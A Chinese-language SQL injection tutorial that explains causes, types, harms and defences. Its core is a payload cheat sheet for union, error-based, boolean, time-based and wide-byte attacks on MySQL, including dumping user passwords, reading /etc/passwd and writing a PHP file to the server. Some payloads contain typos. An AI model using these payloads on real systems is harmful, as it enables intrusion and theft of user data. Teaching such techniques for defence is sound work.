1.1 前言
1.1.1 概念
一种将 SQL 语句插入或添加到用户输入参数中, 之后再将这些参数传递给后台的 SQL 服务器加以解析并执行
1.1.2 原理
SQL 注入攻击指的是通过构建特殊的输入作为参数传入 web 应用程序, 而这些输入大都是 SQL 语法里的一些组合, 通过执行 SQL 语句进而执行攻击者所要的操作, 其主要原因是程序没有细致地过滤用户输入的数据, 致使非法数据侵入系统.
根据相关技术原理, SQL 注入可以分为平台层注入和代码层注入. 前者由不安全的数据库配置或数据库平台的漏洞所致; 后者主要是由于程序员对输入未进行细致地过滤, 从而执行了非法的数据查询. 基于此, SQL 注入的产生原因通常表现在以下几方面:1不当的类型处理;2不安全的数据库配置;3不合理的查询集处理;4不当的错误处理;5转义字符处理不合适;6多个提交处理不当.
1.2 注入分类
1. 按数据类型分:
(1)整形注入(不需要闭合, 不需要注释符号)
(2)字符型注入(需要闭合, 需要注释符号)
2.按注入语法分:
(1)联合查询
(2)报错注入
(3)布尔型注入
(4)延时注入
(5)多语句查询注入
1.3 注入危害
数据库信息泄漏: 数据库中存放的用户的隐私信息的泄露.
网页篡改: 通过操作数据库对特定网页进行篡改.
网站被挂马, 传播恶意软件: 修改数据库一些字段的值, 嵌入网马链接, 进行挂马攻击.
数据库被恶意操作: 数据库服务器被攻击, 数据库的系统管理员帐户被窜改.
服务器被远程控制, 被安装后门. 经由数据库服务器提供的操作系统支持, 让黑客得以修改或控制操作系统.
破坏硬盘数据, 瘫痪全系统.
1.4 注入方法
注入判断:
and 1=1 /and1=2 ------ 回显页面不同(整型判断)
单引号判断 ------ 显示数据库错误信息或页面回显不同(整型 / 字符型)
\ (转义符)------------
-1/+1 -------------- 回显上有一个或下一个页面(整型判断)
and sleep(5) ------------ (判断页面返回时间)
常用注释
- # --------(url 编码为 %23)
- --+ --------(一般 -- 后面要跟一个或多个空格)
- /* ...*/ ------
/*! ...*/ ------ 内联注释
常用函数:
- user(),database(), @@version,session_user(),@@basedir
- @@datadir,@@version_compile_os
Load_FILE 函数(读文件操作)
利用前提:
(1)知道绝对路径 (2)能使用 union 查询 (3)对 Web 目录有读写权限
- union select 1,load_file('/etc/passwd'),3,4,5,6,#
- UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
- Into outfile()(写文件操作)
利用前提:
(1)文件名为绝对路径 (2)没对引号过滤 (3)用户对文件有写权限
select '<?php phpinfo();?>' into outfile 'c:\\Windows\\tmp\\1.php''
连接字符串函数
- concat(str1,str2)
- concat_ws(separator, str1,str2...)
- group_concat(str1,str2......)
MySQL 中 information_scheme 库
SCHEMATA 表 字段: SCHEMA_NAME
TABLES 表 字段: TABLE_SCHEMA,TABLE_NAME
COLUMNS 表 字段: TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
联合查询注入
第一步: 猜数据库
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3
第二步: 猜 security 数据库下所有数据表
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3
第三步: 查询 users 表下所有字段
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3
第四步: 查询值
?id=-1 union select 1,(select group_concat(concat_ws(0x23,username,password)) from security.users),3 from users
报错注入
特点:
. 不需要显示位; 需要输出 mysqli_error()的报错信息
第一步: 暴库名
and extractvalue(1,concat(0x7e,database(),0x7e))
第二步: 暴表名
- and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='baji' limit 0,1) ,0x7e))
- and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='baji') ,0x7e))
第三步: 暴字段
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='baji' and table_name='users') ,0x7e))
第四步: 暴数据
- and extractvalue(1,concat(0x7e,(select username from baji.users limit 1,1) ,0x7e))
- and extractvalue(1,concat(0x7e,(select password from baji.users limit 1,1) ,0x7e))
布尔型注入
1, 判断长度: 判断数据库名的长度
length(database())>0 .... 确定长度为 4
2, 确定数据库: 逐个取字符与 ascii 值对比
and ascii(substr(database(),1,1))=98 .... 确定为 baji
3, 确定表名:
# 表数量:
and (select count(table_name) from information_schema.tables where table_schema='baji')> 0 .... 确定两个表
# 表名的长度:
and length(select table_name from information_schema.tables where table_schema='baji' limit 0,1)>4 .... 得到表名长度 4
# 表名
and ascii(substr(select table_name from information_schema.tables where table_schema ='baji' limit 0,1),2,1)> 79 .... 确定字母 e, 表名 test
4, 确定列名:
# 确定列的数量:
and (select count(column_name) from information_schema.columns where table_schema='baji' and table_name='users')>0 .... 确定列数量为 8 列
# 确定列的长度:
and length(select column_name from information_schema.columns where table_schema='baji' and table_name='users' limit 0,1)>0 . 第一个列名长度为 2
# 确定列名:
and ascii(substr(select column_name from information_schema.columns where table_schema='baji' and table_name='users' limit 0,1),1,1)>79 ... 第一列名第一字符
5, 导出数据:
and ascii(substr(select username from users limit 0,1),1,1)>79 .. 确定字符为 a
延时注入
1, 确定数据库
# 判断数据库长度
and if((length(database())>10),sleep(5),3) .... 确定长度为 4
#获取字符
and if((ascii(substr(database(),1,1)))>79,sleep(5),1) 确定第一个字符
and if((ascii(substr(database(),2,1)))>79,sleep(5),1) 确定第二个字符
2, 确定表名
- #获取表的数量
- and if((select count(table_name) from information_schema.tables where table_schema='baji')>0,sleep(5),1)
- #获取第一个表名的长度
and if(length(select table_name from information_schema.tables where table_schema='baji' limit 0,1)>4, sleep(5),1) .... 得到表名长度 4
- # 获取表名(第一个表名的第一个字符)
- and if(ascii(substr(select table_name from information_schema.tables where table_schema ='baji' limit 0,1),1,1)> 79, sleep(5),1)
3, 确定列名
- #获取列名数量
- and if((select count(column_name) from information_schema.clomus where table_schema='baji' and table_name='users')>0, sleep(5),1)
- #获取列名长度(第一个列名)
- and if(length(select column_name from information_schema.clomus where table_schema='baji' and table_name='users' limit 0,1)>0, sleep(5),1)
- #获取列名(第一个列名的第一个字符)
- and if(ascii(substr(select column_name from information_schema.clomus where table_schema='baji' and table_name='users' limit 0,1),1,1)>0, sleep(5),1)
4, 获取数据
and if(ascii(substr(select username from users limit 0,1),1,1)>79, sleep(5),1)
宽字节注入
注入条件:
. 注入类型为字符型
. 数据库编码为 gbk
. 可控参数使用 addslashes 函数
. 使用 gbk 汉字编码 (%df 不限字符) 绕过注释
具体方法同布尔型.
1.5 注入防御
1. 对进入数据库的特殊字符 (单引号, 双引号, 尖括号等) 进行转换或编码转换.
2. 不要使用动态拼装 sql, 可以使用参数化的 sql 或者直接使用存储过程进行数据查询存取.
3. 不要使用管理员权限的数据库连接, 为每个应用使用单独的权限有限的数据库连接.
4. 应用的异常信息应该给出尽可能少的提示, 最好使用自定义的错误信息对原始错误信息进行包装
来源: http://www.bubuko.com/infodetail-3114039.html